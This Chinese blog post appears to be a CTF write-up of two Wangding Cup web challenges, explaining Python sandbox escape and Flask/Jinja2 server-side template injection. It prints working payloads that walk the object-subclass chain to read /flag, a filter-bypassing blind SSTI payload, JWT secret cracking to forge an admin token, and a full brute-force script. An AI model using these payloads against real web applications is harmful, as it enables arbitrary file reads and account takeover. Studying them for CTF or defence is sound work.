php 沙箱逃逸,Python沙箱逃逸

之前接触的大部分是PHP写的服务器端,而除了PHP,Python也可以作为服务器端的语言,利用的是Python的flask模块渲染html模板,同时也可能存在Python语句执行的漏洞,这就是SSTI漏洞,即服务器端模板注入,本篇文章通过网鼎杯的两道SSTI题简单学习了解一下Python沙箱逃逸的原理

网鼎杯第二场Web:calc

题目如下,是一个计算器,可以执行一些简单的算式,根据题目的提示,可能对我们的输入存在正则匹配过滤,需要我们注意正则表达式

df7f988b196f6085f1da1180bf779509.png

1^[0-9.]+\s*[*+-/]\s*[0-9.]+

这里的正则表达式存在两个问题

1.首先是[*+-/],我们知道’-‘在正则表达式里有特别的意义,表示范围,而在这里并没有被转义,说明是从’+’-‘/‘的字符

2.正则表达式并没有给出$结尾符,说明我们只需要符合前面的匹配,后面可以任意构造语句执行

我们可以试着访问index.php

出现了报错信息

4b30d9bb161a858a55356547d6639d60.png

从报错信息可以看出,这里是python写的web

这里先给出payload:

11+1,().__class__.__base__.__subclasses__()[40]('/flag').read()

e12d5172c96c2813a4fc572ffed8df48.png

下面我们在Python 2.7环境中一步步看看

1().__class__.__base__.__subclasses__()[40]('/flag').read()

为什么就能读取flag

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39>>>().__class__

>>>().__class__

>>>().__class__.__base__

>>>().__class__.__base__.__subclasses__

>>>().__class__.__base__.__subclasses__()

[, , ,

, , , , ,

oneType'>, , , ,

e 'xrange'>, , , , ,

, , , ,

set'>, , , ,

>, , , ,

method'>, , , ,

dictproxy'>, , ,

riptor'>, , , ,

e 'file'>, , , ,

'iterator'>, , ,

'>, , ,

nfo'>, , ,

eException'>, , ,

porter'>, , ,

WarningMessage'>, ,

ionGuard'>, , ,

assmethod'>, , ,

l.Container'>, , ,

'>, , , ,

'_sre.SRE_Pattern'>, , ,

'site.Quitter'>, ,

lDecoder'>, , ,

perator.methodcaller'>, , ,

pe 'MultibyteIncrementalEncoder'>, ,

MultibyteStreamReader'>, ]

>>> ().__class__.__base__.__subclasses__()[40]

>>>

我们可以发现

1().__class__.__base__.__subclasses__()[40]

返回的是file类型,我们在后面传入文件名,就相当于读取文件

这就是python沙箱逃逸的原理

网鼎杯第三场:mmmmy03d4f07d17208379bbf3660af872e3af.png

题目是一个登陆页面,随手试一下用户名test,密码test,成功登录,点击留言,提示只有admin用户才能留言,猜测必须用admin用户登陆,抓包观察

99b75d79728bcc1b06dc66a8c8c27078.png

bfbec9b30e33cc22f4dd76006abeb735.png

发现登陆时同时设置了cookie的token字段,而在此访问时,服务器根据token字段识别test用户,观察token值,是经过JWT加密后的值,首先使用 c-jwt-cracker 爆破 secret key,结果为

fcd209bd00812df99f96c8b2a0ebae2f.png

加密后的token值替换原本test的token值伪造admin用户登陆

3e1d3729be81608202d1a4c885b8abe1.png

然后这里的留言post的text存在SSTI漏洞,但是这里过滤了双花括号的写法,我们可以换成流程控制结构的写法 执行语句 ,测试如下:

e853c4aca2949da7e499c7f03f332b99.png

fa41c9cf8dadd782b8cfdc216802180e.png

后面的数据就要依靠盲注出来了

1text={% if ().__class__.__base__.__subclasses__()[40]('/flag').read()[0]=='f' %}1{% else %}0{% endif %}

但是这里还过滤了一些关键字,例如’_’,所以我们可以将这些关键属性class,base等放入别的参数,从而绕过对text参数过滤

使用payload如下:

1text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0] %}good{% endif %}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz

脚本如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35import requests

url = "http://0fe97b99c09c4a1cbf5eb0610879c4e93f084e23d438487d.game.ichunqiu.com/bbs"

all_string = "}-{0123456789abcdefghijklmnopqrstuvwxyz"

flag = ""

cookie = {

"token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"

}

for i in range(100):

f = 1

for j in range(39):

print('checking '+all_string[j])

data = {

'text':"{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d] %%}good{%% endif %%}"%(j,i),

'a':'__class__',

'b':'__base__',

'c':'__subclasses__',

'd':'/flag',

'e':all_string

}

r = requests.post(url=url,data=data,cookies=cookie)

if 'good' in r.text:

flag = flag + all_string[j]

print('the '+str(i)+' place of flag is: '+all_string[j])

break

elif 'good' not in r.text and j == 38:

f = 0

break

if f == 0:

break

print('flag: ' + flag)

#flag: flag{49ec4dfd-6600-4651-a5ff-9c190562991f}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值